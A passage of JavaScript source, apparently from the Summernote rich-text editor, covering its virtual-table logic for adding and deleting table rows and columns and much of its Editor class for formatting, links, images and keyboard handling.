rng.sc.appendChild(nextPara); } } range.create(nextPara, 0).normalize().select().scrollIntoView(editable); }; return Typing; }()); /** * @class Create a virtual table to create what actions to do in change. * @param {object} startPoint Cell selected to apply change. * @param {enum} where Where change will be applied Row or Col. Use enum: TableResultAction.where * @param {enum} action Action to be applied. Use enum: TableResultAction.requestAction * @param {object} domTable Dom element of table to make changes. */ var TableResultAction = function (startPoint, where, action, domTable) { var _startPoint = { 'colPos': 0, 'rowPos': 0 }; var _virtualTable = []; var _actionCellList = []; /// /////////////////////////////////////////// // Private functions /// /////////////////////////////////////////// /** * Set the startPoint of action. */ function setStartPoint() { if (!startPoint || !startPoint.tagName || (startPoint.tagName.toLowerCase() !== 'td' && startPoint.tagName.toLowerCase() !== 'th')) { console.error('Impossible to identify start Cell point.', startPoint); return; } _startPoint.colPos = startPoint.cellIndex; if (!startPoint.parentElement || !startPoint.parentElement.tagName || startPoint.parentElement.tagName.toLowerCase() !== 'tr') { console.error('Impossible to identify start Row point.', startPoint); return; } _startPoint.rowPos = startPoint.parentElement.rowIndex; } /** * Define virtual table position info object. * * @param {int} rowIndex Index position in line of virtual table. * @param {int} cellIndex Index position in column of virtual table. * @param {object} baseRow Row affected by this position. * @param {object} baseCell Cell affected by this position. * @param {bool} isSpan Inform if it is an span cell/row. */ function setVirtualTablePosition(rowIndex, cellIndex, baseRow, baseCell, isRowSpan, isColSpan, isVirtualCell) { var objPosition = { 'baseRow': baseRow, 'baseCell': baseCell, 'isRowSpan': isRowSpan, 'isColSpan': isColSpan, 'isVirtual': isVirtualCell }; if (!_virtualTable[rowIndex]) { _virtualTable[rowIndex] = []; } _virtualTable[rowIndex][cellIndex] = objPosition; } /** * Create action cell object. * * @param {object} virtualTableCellObj Object of specific position on virtual table. * @param {enum} resultAction Action to be applied in that item. */ function getActionCell(virtualTableCellObj, resultAction, virtualRowPosition, virtualColPosition) { return { 'baseCell': virtualTableCellObj.baseCell, 'action': resultAction, 'virtualTable': { 'rowIndex': virtualRowPosition, 'cellIndex': virtualColPosition } }; } /** * Recover free index of row to append Cell. * * @param {int} rowIndex Index of row to find free space. * @param {int} cellIndex Index of cell to find free space in table. */ function recoverCellIndex(rowIndex, cellIndex) { if (!_virtualTable[rowIndex]) { return cellIndex; } if (!_virtualTable[rowIndex][cellIndex]) { return cellIndex; } var newCellIndex = cellIndex; while (_virtualTable[rowIndex][newCellIndex]) { newCellIndex++; if (!_virtualTable[rowIndex][newCellIndex]) { return newCellIndex; } } } /** * Recover info about row and cell and add information to virtual table. * * @param {object} row Row to recover information. * @param {object} cell Cell to recover information. */ function addCellInfoToVirtual(row, cell) { var cellIndex = recoverCellIndex(row.rowIndex, cell.cellIndex); var cellHasColspan = (cell.colSpan > 1); var cellHasRowspan = (cell.rowSpan > 1); var isThisSelectedCell = (row.rowIndex === _startPoint.rowPos && cell.cellIndex === _startPoint.colPos); setVirtualTablePosition(row.rowIndex, cellIndex, row, cell, cellHasRowspan, cellHasColspan, false); // Add span rows to virtual Table. var rowspanNumber = cell.attributes.rowSpan ? parseInt(cell.attributes.rowSpan.value, 10) : 0; if (rowspanNumber > 1) { for (var rp = 1; rp < rowspanNumber; rp++) { var rowspanIndex = row.rowIndex + rp; adjustStartPoint(rowspanIndex, cellIndex, cell, isThisSelectedCell); setVirtualTablePosition(rowspanIndex, cellIndex, row, cell, true, cellHasColspan, true); } } // Add span cols to virtual table. var colspanNumber = cell.attributes.colSpan ? parseInt(cell.attributes.colSpan.value, 10) : 0; if (colspanNumber > 1) { for (var cp = 1; cp < colspanNumber; cp++) { var cellspanIndex = recoverCellIndex(row.rowIndex, (cellIndex + cp)); adjustStartPoint(row.rowIndex, cellspanIndex, cell, isThisSelectedCell); setVirtualTablePosition(row.rowIndex, cellspanIndex, row, cell, cellHasRowspan, true, true); } } } /** * Process validation and adjust of start point if needed * * @param {int} rowIndex * @param {int} cellIndex * @param {object} cell * @param {bool} isSelectedCell */ function adjustStartPoint(rowIndex, cellIndex, cell, isSelectedCell) { if (rowIndex === _startPoint.rowPos && _startPoint.colPos >= cell.cellIndex && cell.cellIndex <= cellIndex && !isSelectedCell) { _startPoint.colPos++; } } /** * Create virtual table of cells with all cells, including span cells. */ function createVirtualTable() { var rows = domTable.rows; for (var rowIndex = 0; rowIndex < rows.length; rowIndex++) { var cells = rows[rowIndex].cells; for (var cellIndex = 0; cellIndex < cells.length; cellIndex++) { addCellInfoToVirtual(rows[rowIndex], cells[cellIndex]); } } } /** * Get action to be applied on the cell. * * @param {object} cell virtual table cell to apply action */ function getDeleteResultActionToCell(cell) { switch (where) { case TableResultAction.where.Column: if (cell.isColSpan) { return TableResultAction.resultAction.SubtractSpanCount; } break; case TableResultAction.where.Row: if (!cell.isVirtual && cell.isRowSpan) { return TableResultAction.resultAction.AddCell; } else if (cell.isRowSpan) { return TableResultAction.resultAction.SubtractSpanCount; } break; } return TableResultAction.resultAction.RemoveCell; } /** * Get action to be applied on the cell. * * @param {object} cell virtual table cell to apply action */ function getAddResultActionToCell(cell) { switch (where) { case TableResultAction.where.Column: if (cell.isColSpan) { return TableResultAction.resultAction.SumSpanCount; } else if (cell.isRowSpan && cell.isVirtual) { return TableResultAction.resultAction.Ignore; } break; case TableResultAction.where.Row: if (cell.isRowSpan) { return TableResultAction.resultAction.SumSpanCount; } else if (cell.isColSpan && cell.isVirtual) { return TableResultAction.resultAction.Ignore; } break; } return TableResultAction.resultAction.AddCell; } function init() { setStartPoint(); createVirtualTable(); } /// /////////////////////////////////////////// // Public functions /// /////////////////////////////////////////// /** * Recover array os what to do in table. */ this.getActionList = function () { var fixedRow = (where === TableResultAction.where.Row) ? _startPoint.rowPos : -1; var fixedCol = (where === TableResultAction.where.Column) ? _startPoint.colPos : -1; var actualPosition = 0; var canContinue = true; while (canContinue) { var rowPosition = (fixedRow >= 0) ? fixedRow : actualPosition; var colPosition = (fixedCol >= 0) ? fixedCol : actualPosition; var row = _virtualTable[rowPosition]; if (!row) { canContinue = false; return _actionCellList; } var cell = row[colPosition]; if (!cell) { canContinue = false; return _actionCellList; } // Define action to be applied in this cell var resultAction = TableResultAction.resultAction.Ignore; switch (action) { case TableResultAction.requestAction.Add: resultAction = getAddResultActionToCell(cell); break; case TableResultAction.requestAction.Delete: resultAction = getDeleteResultActionToCell(cell); break; } _actionCellList.push(getActionCell(cell, resultAction, rowPosition, colPosition)); actualPosition++; } return _actionCellList; }; init(); }; /** * * Where action occours enum. */ TableResultAction.where = { 'Row': 0, 'Column': 1 }; /** * * Requested action to apply enum. */ TableResultAction.requestAction = { 'Add': 0, 'Delete': 1 }; /** * * Result action to be executed enum. */ TableResultAction.resultAction = { 'Ignore': 0, 'SubtractSpanCount': 1, 'RemoveCell': 2, 'AddCell': 3, 'SumSpanCount': 4 }; /** * * @class editing.Table * * Table * */ var Table = /** @class */ (function () { function Table() { } /** * handle tab key * * @param {WrappedRange} rng * @param {Boolean} isShift */ Table.prototype.tab = function (rng, isShift) { var cell = dom.ancestor(rng.commonAncestor(), dom.isCell); var table = dom.ancestor(cell, dom.isTable); var cells = dom.listDescendant(table, dom.isCell); var nextCell = lists[isShift ? 'prev' : 'next'](cells, cell); if (nextCell) { range.create(nextCell, 0).select(); } }; /** * Add a new row * * @param {WrappedRange} rng * @param {String} position (top/bottom) * @return {Node} */ Table.prototype.addRow = function (rng, position) { var cell = dom.ancestor(rng.commonAncestor(), dom.isCell); var currentTr = $$1(cell).closest('tr'); var trAttributes = this.recoverAttributes(currentTr); var html = $$1('<tr' + trAttributes + '></tr>'); var vTable = new TableResultAction(cell, TableResultAction.where.Row, TableResultAction.requestAction.Add, $$1(currentTr).closest('table')[0]); var actions = vTable.getActionList(); for (var idCell = 0; idCell < actions.length; idCell++) { var currentCell = actions[idCell]; var tdAttributes = this.recoverAttributes(currentCell.baseCell); switch (currentCell.action) { case TableResultAction.resultAction.AddCell: html.append('<td' + tdAttributes + '>' + dom.blank + '</td>'); break; case TableResultAction.resultAction.SumSpanCount: if (position === 'top') { var baseCellTr = currentCell.baseCell.parent; var isTopFromRowSpan = (!baseCellTr ? 0 : currentCell.baseCell.closest('tr').rowIndex) <= currentTr[0].rowIndex; if (isTopFromRowSpan) { var newTd = $$1('<div></div>').append($$1('<td' + tdAttributes + '>' + dom.blank + '</td>').removeAttr('rowspan')).html(); html.append(newTd); break; } } var rowspanNumber = parseInt(currentCell.baseCell.rowSpan, 10); rowspanNumber++; currentCell.baseCell.setAttribute('rowSpan', rowspanNumber); break; } } if (position === 'top') { currentTr.before(html); } else { var cellHasRowspan = (cell.rowSpan > 1); if (cellHasRowspan) { var lastTrIndex = currentTr[0].rowIndex + (cell.rowSpan - 2); $$1($$1(currentTr).parent().find('tr')[lastTrIndex]).after($$1(html)); return; } currentTr.after(html); } }; /** * Add a new col * * @param {WrappedRange} rng * @param {String} position (left/right) * @return {Node} */ Table.prototype.addCol = function (rng, position) { var cell = dom.ancestor(rng.commonAncestor(), dom.isCell); var row = $$1(cell).closest('tr'); var rowsGroup = $$1(row).siblings(); rowsGroup.push(row); var vTable = new TableResultAction(cell, TableResultAction.where.Column, TableResultAction.requestAction.Add, $$1(row).closest('table')[0]); var actions = vTable.getActionList(); for (var actionIndex = 0; actionIndex < actions.length; actionIndex++) { var currentCell = actions[actionIndex]; var tdAttributes = this.recoverAttributes(currentCell.baseCell); switch (currentCell.action) { case TableResultAction.resultAction.AddCell: if (position === 'right') { $$1(currentCell.baseCell).after('<td' + tdAttributes + '>' + dom.blank + '</td>'); } else { $$1(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>'); } break; case TableResultAction.resultAction.SumSpanCount: if (position === 'right') { var colspanNumber = parseInt(currentCell.baseCell.colSpan, 10); colspanNumber++; currentCell.baseCell.setAttribute('colSpan', colspanNumber); } else { $$1(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>'); } break; } } }; /* * Copy attributes from element. * * @param {object} Element to recover attributes. * @return {string} Copied string elements. */ Table.prototype.recoverAttributes = function (el) { var resultStr = ''; if (!el) { return resultStr; } var attrList = el.attributes || []; for (var i = 0; i < attrList.length; i++) { if (attrList[i].name.toLowerCase() === 'id') { continue; } if (attrList[i].specified) { resultStr += ' ' + attrList[i].name + '=\'' + attrList[i].value + '\''; } } return resultStr; }; /** * Delete current row * * @param {WrappedRange} rng * @return {Node} */ Table.prototype.deleteRow = function (rng) { var cell = dom.ancestor(rng.commonAncestor(), dom.isCell); var row = $$1(cell).closest('tr'); var cellPos = row.children('td, th').index($$1(cell)); var rowPos = row[0].rowIndex; var vTable = new TableResultAction(cell, TableResultAction.where.Row, TableResultAction.requestAction.Delete, $$1(row).closest('table')[0]); var actions = vTable.getActionList(); for (var actionIndex = 0; actionIndex < actions.length; actionIndex++) { if (!actions[actionIndex]) { continue; } var baseCell = actions[actionIndex].baseCell; var virtualPosition = actions[actionIndex].virtualTable; var hasRowspan = (baseCell.rowSpan && baseCell.rowSpan > 1); var rowspanNumber = (hasRowspan) ? parseInt(baseCell.rowSpan, 10) : 0; switch (actions[actionIndex].action) { case TableResultAction.resultAction.Ignore: continue; case TableResultAction.resultAction.AddCell: var nextRow = row.next('tr')[0]; if (!nextRow) { continue; } var cloneRow = row[0].cells[cellPos]; if (hasRowspan) { if (rowspanNumber > 2) { rowspanNumber--; nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]); nextRow.cells[cellPos].setAttribute('rowSpan', rowspanNumber); nextRow.cells[cellPos].innerHTML = ''; } else if (rowspanNumber === 2) { nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]); nextRow.cells[cellPos].removeAttribute('rowSpan'); nextRow.cells[cellPos].innerHTML = ''; } } continue; case TableResultAction.resultAction.SubtractSpanCount: if (hasRowspan) { if (rowspanNumber > 2) { rowspanNumber--; baseCell.setAttribute('rowSpan', rowspanNumber); if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; } } else if (rowspanNumber === 2) { baseCell.removeAttribute('rowSpan'); if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; } } } continue; case TableResultAction.resultAction.RemoveCell: // Do not need remove cell because row will be deleted. continue; } } row.remove(); }; /** * Delete current col * * @param {WrappedRange} rng * @return {Node} */ Table.prototype.deleteCol = function (rng) { var cell = dom.ancestor(rng.commonAncestor(), dom.isCell); var row = $$1(cell).closest('tr'); var cellPos = row.children('td, th').index($$1(cell)); var vTable = new TableResultAction(cell, TableResultAction.where.Column, TableResultAction.requestAction.Delete, $$1(row).closest('table')[0]); var actions = vTable.getActionList(); for (var actionIndex = 0; actionIndex < actions.length; actionIndex++) { if (!actions[actionIndex]) { continue; } switch (actions[actionIndex].action) { case TableResultAction.resultAction.Ignore: continue; case TableResultAction.resultAction.SubtractSpanCount: var baseCell = actions[actionIndex].baseCell; var hasColspan = (baseCell.colSpan && baseCell.colSpan > 1); if (hasColspan) { var colspanNumber = (baseCell.colSpan) ? parseInt(baseCell.colSpan, 10) : 0; if (colspanNumber > 2) { colspanNumber--; baseCell.setAttribute('colSpan', colspanNumber); if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; } } else if (colspanNumber === 2) { baseCell.removeAttribute('colSpan'); if (baseCell.cellIndex === cellPos) { baseCell.innerHTML = ''; } } } continue; case TableResultAction.resultAction.RemoveCell: dom.remove(actions[actionIndex].baseCell, true); continue; } } }; /** * create empty table element * * @param {Number} rowCount * @param {Number} colCount * @return {Node} */ Table.prototype.createTable = function (colCount, rowCount, options) { var tds = []; var tdHTML; for (var idxCol = 0; idxCol < colCount; idxCol++) { tds.push('<td>' + dom.blank + '</td>'); } tdHTML = tds.join(''); var trs = []; var trHTML; for (var idxRow = 0; idxRow < rowCount; idxRow++) { trs.push('<tr>' + tdHTML + '</tr>'); } trHTML = trs.join(''); var $table = $$1('<table>' + trHTML + '</table>'); if (options && options.tableClassName) { $table.addClass(options.tableClassName); } return $table[0]; }; /** * Delete current table * * @param {WrappedRange} rng * @return {Node} */ Table.prototype.deleteTable = function (rng) { var cell = dom.ancestor(rng.commonAncestor(), dom.isCell); $$1(cell).closest('table').remove(); }; return Table; }()); var KEY_BOGUS = 'bogus'; /** * @class Editor */ var Editor = /** @class */ (function () { function Editor(context) { var _this = this; this.context = context; this.$note = context.layoutInfo.note; this.$editor = context.layoutInfo.editor; this.$editable = context.layoutInfo.editable; this.options = context.options; this.lang = this.options.langInfo; this.editable = this.$editable[0]; this.lastRange = null; this.style = new Style(); this.table = new Table(); this.typing = new Typing(); this.bullet = new Bullet(); this.history = new History(this.$editable); this.context.memo('help.undo', this.lang.help.undo); this.context.memo('help.redo', this.lang.help.redo); this.context.memo('help.tab', this.lang.help.tab); this.context.memo('help.untab', this.lang.help.untab); this.context.memo('help.insertParagraph', this.lang.help.insertParagraph); this.context.memo('help.insertOrderedList', this.lang.help.insertOrderedList); this.context.memo('help.insertUnorderedList', this.lang.help.insertUnorderedList); this.context.memo('help.indent', this.lang.help.indent); this.context.memo('help.outdent', this.lang.help.outdent); this.context.memo('help.formatPara', this.lang.help.formatPara); this.context.memo('help.insertHorizontalRule', this.lang.help.insertHorizontalRule); this.context.memo('help.fontName', this.lang.help.fontName); // native commands(with execCommand), generate function for execCommand var commands = [ 'bold', 'italic', 'underline', 'strikethrough', 'superscript', 'subscript', 'justifyLeft', 'justifyCenter', 'justifyRight', 'justifyFull', 'formatBlock', 'removeFormat', 'backColor' ]; for (var idx = 0, len = commands.length; idx < len; idx++) { this[commands[idx]] = (function (sCmd) { return function (value) { _this.beforeCommand(); document.execCommand(sCmd, false, value); _this.afterCommand(true); }; })(commands[idx]); this.context.memo('help.' + commands[idx], this.lang.help[commands[idx]]); } this.fontName = this.wrapCommand(function (value) { return _this.fontStyling('font-family', "\'" + value + "\'"); }); this.fontSize = this.wrapCommand(function (value) { return _this.fontStyling('font-size', value + 'px'); }); for (var idx = 1; idx <= 6; idx++) { this['formatH' + idx] = (function (idx) { return function () { _this.formatBlock('H' + idx); }; })(idx); this.context.memo('help.formatH' + idx, this.lang.help['formatH' + idx]); } this.insertParagraph = this.wrapCommand(function () { _this.typing.insertParagraph(_this.editable); }); this.insertOrderedList = this.wrapCommand(function () { _this.bullet.insertOrderedList(_this.editable); }); this.insertUnorderedList = this.wrapCommand(function () { _this.bullet.insertUnorderedList(_this.editable); }); this.indent = this.wrapCommand(function () { _this.bullet.indent(_this.editable); }); this.outdent = this.wrapCommand(function () { _this.bullet.outdent(_this.editable); }); /** * insertNode * insert node * @param {Node} node */ this.insertNode = this.wrapCommand(function (node) { if (_this.isLimited($$1(node).text().length)) { return; } var rng = _this.createRange(); rng.insertNode(node); range.createFromNodeAfter(node).select(); }); /** * insert text * @param {String} text */ this.insertText = this.wrapCommand(function (text) { if (_this.isLimited(text.length)) { return; } var rng = _this.createRange(); var textNode = rng.insertNode(dom.createText(text)); range.create(textNode, dom.nodeLength(textNode)).select(); }); /** * paste HTML * @param {String} markup */ this.pasteHTML = this.wrapCommand(function (markup) { if (_this.isLimited(markup.length)) { return; } var contents = _this.createRange().pasteHTML(markup); range.createFromNodeAfter(lists.last(contents)).select(); }); /** * formatBlock * * @param {String} tagName */ this.formatBlock = this.wrapCommand(function (tagName, $target) { var onApplyCustomStyle = _this.options.callbacks.onApplyCustomStyle; if (onApplyCustomStyle) { onApplyCustomStyle.call(_this, $target, _this.context, _this.onFormatBlock); } else { _this.onFormatBlock(tagName, $target); } }); /** * insert horizontal rule */ this.insertHorizontalRule = this.wrapCommand(function () { var hrNode = _this.createRange().insertNode(dom.create('HR')); if (hrNode.nextSibling) { range.create(hrNode.nextSibling, 0).normalize().select(); } }); /** * lineHeight * @param {String} value */ this.lineHeight = this.wrapCommand(function (value) { _this.style.stylePara(_this.createRange(), { lineHeight: value }); }); /** * create link (command) * * @param {Object} linkInfo */ this.createLink = this.wrapCommand(function (linkInfo) { var linkUrl = linkInfo.url; var linkText = linkInfo.text; var isNewWindow = linkInfo.isNewWindow; var rng = linkInfo.range || _this.createRange(); var isTextChanged = rng.toString() !== linkText; // handle spaced urls from input if (typeof linkUrl === 'string') { linkUrl = linkUrl.trim(); } if (_this.options.onCreateLink) { linkUrl = _this.options.onCreateLink(linkUrl); } else { // if url doesn't match an URL schema, set http:// as default linkUrl = /^[A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?/.test(linkUrl) ? linkUrl : 'http://' + linkUrl; } var anchors = []; if (isTextChanged) { rng = rng.deleteContents(); var anchor = rng.insertNode($$1('<A>' + linkText + '</A>')[0]); anchors.push(anchor); } else { anchors = _this.style.styleNodes(rng, { nodeName: 'A', expandClosestSibling: true, onlyPartialContains: true }); } $$1.each(anchors, function (idx, anchor) { $$1(anchor).attr('href', linkUrl); if (isNewWindow) { $$1(anchor).attr('target', '_blank'); } else { $$1(anchor).removeAttr('target'); } }); var startRange = range.createFromNodeBefore(lists.head(anchors)); var startPoint = startRange.getStartPoint(); var endRange = range.createFromNodeAfter(lists.last(anchors)); var endPoint = endRange.getEndPoint(); range.create(startPoint.node, startPoint.offset, endPoint.node, endPoint.offset).select(); }); /** * setting color * * @param {Object} sObjColor color code * @param {String} sObjColor.foreColor foreground color * @param {String} sObjColor.backColor background color */ this.color = this.wrapCommand(function (colorInfo) { var foreColor = colorInfo.foreColor; var backColor = colorInfo.backColor; if (foreColor) { document.execCommand('foreColor', false, foreColor); } if (backColor) { document.execCommand('backColor', false, backColor); } }); /** * Set foreground color * * @param {String} colorCode foreground color code */ this.foreColor = this.wrapCommand(function (colorInfo) { document.execCommand('styleWithCSS', false, true); document.execCommand('foreColor', false, colorInfo); }); /** * insert Table * * @param {String} dimension of table (ex : "5x5") */ this.insertTable = this.wrapCommand(function (dim) { var dimension = dim.split('x'); var rng = _this.createRange().deleteContents(); rng.insertNode(_this.table.createTable(dimension[0], dimension[1], _this.options)); }); /** * remove media object and Figure Elements if media object is img with Figure. */ this.removeMedia = this.wrapCommand(function () { var $target = $$1(_this.restoreTarget()).parent(); if ($target.parent('figure').length) { $target.parent('figure').remove(); } else { $target = $$1(_this.restoreTarget()).detach(); } _this.context.triggerEvent('media.delete', $target, _this.$editable); }); /** * float me * * @param {String} value */ this.floatMe = this.wrapCommand(function (value) { var $target = $$1(_this.restoreTarget()); $target.toggleClass('note-float-left', value === 'left'); $target.toggleClass('note-float-right', value === 'right'); $target.css('float', value); }); /** * resize overlay element * @param {String} value */ this.resize = this.wrapCommand(function (value) { var $target = $$1(_this.restoreTarget()); $target.css({ width: value * 100 + '%', height: '' }); }); } Editor.prototype.initialize = function () { var _this = this; // bind custom events this.$editable.on('keydown', function (event) { if (event.keyCode === key.code.ENTER) { _this.context.triggerEvent('enter', event); } _this.context.triggerEvent('keydown', event); if (!event.isDefaultPrevented()) { if (_this.options.shortcuts) { _this.handleKeyMap(event); } else { _this.preventDefaultEditableShortCuts(event); } } if (_this.isLimited(1, event)) { return false; } }).on('keyup', function (event) { _this.context.triggerEvent('keyup', event); }).on('focus', function (event) { _this.context.triggerEvent('focus', event); }).on('blur', function (event) { _this.context.triggerEvent('blur', event); }).on('mousedown', function (event) { _this.context.triggerEvent('mousedown', event); }).on('mouseup', function (event) { _this.context.triggerEvent('mouseup', event); }).on('scroll', function (event) { _this.context.triggerEvent('scroll', event); }).on('paste', function (event) { _this.context.triggerEvent('paste', event); }); // init content before set event this.$editable.html(dom.html(this.$note) || dom.emptyPara); this.$editable.on(env.inputEventName, func.debounce(function () { _this.context.triggerEvent('change', _this.$editable.html()); }, 100)); this.$editor.on('focusin', function (event) { _this.context.triggerEvent('focusin', event); }).on('focusout', function (event) { _this.context.triggerEvent('focusout', event); }); if (!this.options.airMode) { if (this.options.width) { this.$editor.outerWidth(this.options.width); } if (this.options.height) { this.$editable.outerHeight(this.options.height); } if (this.options.maxHeight) { this.$editable.css('max-height', this.options.maxHeight); } if (this.options.minHeight) { this.$editable.css('min-height', this.options.minHeight); } } this.history.recordUndo(); }; Editor.prototype.destroy = function () { this.$editable.off(); }; Editor.prototype.handleKeyMap = function (event) { var keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc']; var keys = []; if (event.metaKey) { keys.push('CMD'); } if (event.ctrlKey && !event.altKey) { keys.push('CTRL'); } if (event.shiftKey) { keys.push('SHIFT'); } var keyName = key.nameFromCode[event.keyCode]; if (keyName) { keys.push(keyName); } var eventName = keyMap[keys.join('+')]; if (eventName) { if (this.context.invoke(eventName) !== false) { event.preventDefault(); } } else if (key.isEdit(event.keyCode)) { this.afterCommand(); } }; Editor.prototype.preventDefaultEditableShortCuts = function (event) { // B(Bold, 66) / I(Italic, 73) / U(Underline, 85) if ((event.ctrlKey || event.metaKey) && lists.contains([66, 73, 85], event.keyCode)) { event.preventDefault(); } }; Editor.prototype.isLimited = function (pad, event) { pad = pad || 0; if (typeof event !== 'undefined') { if (key.isMove(event.keyCode) || (event.ctrlKey || event.metaKey) || lists.contains([key.code.BACKSPACE, key.code.DELETE], event.keyCode)) { return false; } } if (this.options.maxTextLength > 0) { if ((this.$editable.text().length + pad) >= this.options.maxTextLength) { return true; } } return false; }; /** * create range * @return {WrappedRange} */ Editor.prototype.createRange = function () { this.focus(); return range.create(this.editable); }; /** * saveRange * * save current range * * @param {Boolean} [thenCollapse=false] */ Editor.prototype.saveRange = function (thenCollapse) { this.lastRange = this.createRange(); if (thenCollapse) { this.lastRange.collapse().select(); } }; /** * restoreRange * * restore lately range */ Editor.prototype.restoreRange = function () { if (this.lastRange) { this.lastRange.select(); this.focus(); } }; Editor.prototype.saveTarget = function (node) { this.$editable.data('target', node); }; Editor.prototype.clearTarget = function () { this.$editable.removeData('target'); }; Editor.prototype.restoreTarget = function () { return this.$editable.data('target'); }; /** * currentStyle * * current style * @return {Object|Boolean} unfocus */ Editor.prototype.currentStyle = function () { var rng = range.create(); if (rng) { rng = rng.normalize(); } return rng ? this.style.current(rng) : this.style.fromNode(this.$editable); }; /** * style from node * * @param {jQuery} $node * @return {Object} */ Editor.prototype.styleFromNode = function ($node) { return this.style.fromNode($node); }; /** * undo */ Editor.prototype.undo = function () { this.context.triggerEvent('before.command', this.$editable.html()); this.history.undo(); this.context.triggerEvent('change', this.$editable.html()); }; /** * redo */ Editor.prototype.redo = function () { this.context.triggerEvent('before.command', this.$editable.html()); this.history.redo(); this.context.triggerEvent('change', this.$editable.html()); }; /** * before command */ Editor.prototype.beforeCommand = function () { this.context.triggerEvent('before.command', this.$editable.html()); // keep focus on editable before command execution this.focus(); }; /** * after command * @param {Boolean} isPreventTrigger */ Editor.prototype.afterCommand = function (isPreventTrigger) { this.normalizeContent(); this.history.recordUndo(); if (!isPreventTrigger) { this.context.triggerEvent('change', this.$editable.html()); } }; /** * handle tab key */ Editor.prototype.tab = function () { var rng = this.createRange(); if (rng.isCollapsed() && rng.isOnCell()) { this.table.tab(rng); } else { if (this.options.tabSize === 0) { return false; } if (!this.isLimited(this.options.tabSize)) { this.beforeCommand(); this.typing.insertTab(rng, this.options.tabSize); this.afterCommand(); } } }; /** * handle shift+tab key */ Editor.prototype.untab = function () { var rng = this.createRange(); if (rng.isCollapsed() && rng.isOnCell()) { this.table.tab(rng, true); } else { if (this.options.tabSize === 0) { return false; } } }; /** * run given function between beforeCommand and afterCommand */ Editor.prototype.wrapCommand = function (fn) { var _this = this; return function () { _this.beforeCommand(); fn.apply(_this, arguments); _this.afterCommand(); }; }; /** * insert image * * @param {String} src * @param {String|Function} param * @return {Promise} */ Editor.prototype.insertImage = function (src, param) { var _this = this; return createImage(src, param).then(function ($image) { _this.beforeCommand(); if (typeof param === 'function') { param($image); } else { if (typeof param === 'string') { $image.attr('data-filename', param); } $image.css('width', Math.min(_this.$editable.width(), $image.width())); } $image.show(); range.create(_this.editable).insertNode($image[0]); range.createFromNodeAfter($image[0]).select(); _this.afterCommand(); }).fail(function (e) { _this.context.triggerEvent('image.upload.error', e); }); }; /** * insertImages * @param {File[]} files */ Editor.prototype.insertImages = function (files) { var _this = this; $$1.each(files, function (idx, file) { var filename = file.name; if (_this.options.maximumImageFileSize && _this.options.maximumImageFileSize < file.size) { _this.context.triggerEvent('image.upload.error', _this.lang.image.maximumFileSizeError); } else { readFileAsDataURL(file).then(function (dataURL) { return _this.insertImage(dataURL, filename); }).fail(function () { _this.context.triggerEvent('image.upload.error'); }); } }); }; /** * insertImagesOrCallback * @param {File[]} files */ Editor.prototype.insertImagesOrCallback = function (files) { var callbacks = this.options.callbacks; // If onImageUpload this.options setted if (callbacks.onImageUpload) { this.context.triggerEvent('image.upload', files); // else insert Image as dataURL } else { this.insertImages(files); } }; /** * return selected plain text * @return {String} text */ Editor.prototype.getSelectedText = function () { var rng = this.createRange(); // if range on anchor, expand range with anchor if (rng.isOnAnchor()) { rng = range.createFromNode(dom.ancestor(rng.sc, dom.isAnchor)); } return rng.toString(); }; Editor.prototype.onFormatBlock = function (tagName, $target) { // [workaround] for MSIE, IE need `<` tagName = env.isMSIE ? '<' + tagName + '>' : tagName; document.execCommand('FormatBlock', false, tagName); // support custom class if ($target && $target.length) { var className = $target[0].className || ''; if (className) { var currentRange = this.createRange(); var $parent = $$1([currentRange.sc, currentRange.ec]).closest(tagName); $parent.addClass(className); } } }; Editor.prototype.formatPara = function () { this.formatBlock('P'); }; Editor.prototype.fontStyling = function (target, value) { var rng = this.createRange(); if (rng) { var spans = this.style.styleNodes(rng); $$1(spans).css(target, value); // [workaround] added styled bogus span for style // - also bogus character needed for cursor position if (rng.isCollapsed()) { var firstSpan = lists.head(spans); if (firstSpan && !dom.nodeLength(firstSpan)) { firstSpan.innerHTML = dom.ZERO_WIDTH_NBSP_CHAR; range.createFromNodeAfter(firstSpan.firstChild).select(); this.$editable.data(KEY_BOGUS, firstSpan); } } } }; /** * unlink * * @type command */ Editor.prototype.unlink = function () { var rng = this.createRange(); if (rng.isOnAnchor()) { var anchor = dom.ancestor(rng.sc, dom.isAnchor); rng = range.createFromNode(anchor); rng.select(); this.beforeCommand(); document.execCommand('unlink'); this.afterCommand(); } }; /** * returns link info * * @return {Object} * @return {WrappedRange} return.range * @return {String} return.text * @return {Boolean} [return.isNewWindow=true] * @return {String} [return.url=""] */ Editor.prototype.getLinkInfo = function () { var rng = this.createRange().expand(dom.isAnchor); // Get the first anchor on range(for edit). var $anchor = $$1(lists.head(rng.nodes(dom.isAnchor))); var linkInfo = { range: rng, text: rng.toString(), url: $anchor.length ? $anchor.attr('href') : '' }; // Define isNewWindow when anchor exists. if ($anchor.length) { linkInfo.isNewWindow = $anchor.attr('target') === '_blank'; } return linkInfo; }; Editor.prototype.addRow = function (position) { var rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.addRow(rng, position); this.afterCommand(); } }; Editor.prototype.addCol = function (position) { var rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.addCol(rng, position); this.afterCommand(); } }; Editor.prototype.deleteRow = function () { var rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.deleteRow(rng); this.afterCommand(); } }; Editor.prototype.deleteCol = function () { var rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.deleteCol(rng); this.afterCommand(); } }; Editor.prototype.deleteTable = function () { var rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.deleteTable(rng); this.afterCommand(); } }; /** * @param {Position} pos * @param {jQuery} $target - target element * @param {Boolean} [bKeepRatio] - keep ratio */ Editor.prototype.resizeTo = function (pos, $target, bKeepRatio) { var imageSize; if 